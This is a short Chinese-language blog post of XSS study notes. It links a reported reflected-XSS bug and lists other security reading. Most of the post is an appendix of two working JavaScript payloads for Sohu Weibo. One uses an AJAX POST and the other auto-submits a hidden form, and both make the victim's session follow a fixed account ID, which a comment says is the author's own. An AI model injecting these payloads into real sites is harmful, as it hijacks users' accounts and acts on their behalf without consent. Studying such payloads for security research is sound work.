xss漏洞及其他-学习笔记

http://www.wooyun.org/bugs/wooyun-2010-010041

这是今天忙活了下的结果。发现了个比较鸡肋的反射型xss

 

另外还学习了sina app的应用，果然比较爽，各种自己的js文件，在线编辑，非常方便。

 

此外下次blog的任务是

http://www.inbreak.net/archives/389

空虚浪子心的blog非常cool

 

 

附录是两个搜狐微博加关注的js脚本

var xmlHttp=null; 

function createXMLHttpRequest() 
{ 
if(xmlHttp == null){
if(window.XMLHttpRequest) {
//Mozilla 浏览器
xmlHttp = new XMLHttpRequest();
}else if(window.ActiveXObject) {
// IE浏览器
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {
}
}
}
}
} 

function openAjax() 
{ 
if( xmlHttp == null)
{ 
createXMLHttpRequest(); 
if( xmlHttp == null)
{
//alert('出错');
return ;
}
} 
xmlHttp.onreadystatechange=xmlHttpChange; 

xmlHttp.open("post","/follow/addfollows",true); 
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
xmlHttp.setRequestHeader("X-Requested-With","XMLHttpRequest");  
xmlHttp.send("act=follow&friendids=595824670&type=follow7");
} 

function xmlHttpChange() 
{ 
if(xmlHttp.readyState==4) 
{ 
if(xmlHttp.status==200) 
{ 
  
} 
} 
}  
openAjax();

 

 

传统的js加form提交型

var act = 'follow'; 
//it's icefish冰's weibo
//act=follow&friendids=595824670&type=follow7
var friendids = '595824670'; 
var type='follow7';
           
var sohuAddFollowForm = document.createElement("form");//表单对象   
sohuAddFollowForm.method="post" ;   
sohuAddFollowForm.action = '/follow/addfollows' ;   
       
      var actInput = document.createElement("input") ;  //
      actInput.setAttribute("name", "act") ;   
      actInput.setAttribute("value", act);   
      sohuAddFollowForm.appendChild(actInput) ;   
      
      var friendidsInput = document.createElement("input");// 
      friendidsInput.setAttribute("name","friendids"); 
      friendidsInput.setAttribute("value",friendids); 
      sohuAddFollowForm.appendChild(friendidsInput); 
       
      var typeInput = document.createElement("input");// 
      typeInput.setAttribute("name","type"); 
      typeInput.setAttribute("value",type); 
      sohuAddFollowForm.appendChild(typeInput); 
       
      document.body.appendChild(sohuAddFollowForm) ;   
      sohuAddFollowForm.submit() ;   
      document.body.removeChild(sohuAddFollowForm) ;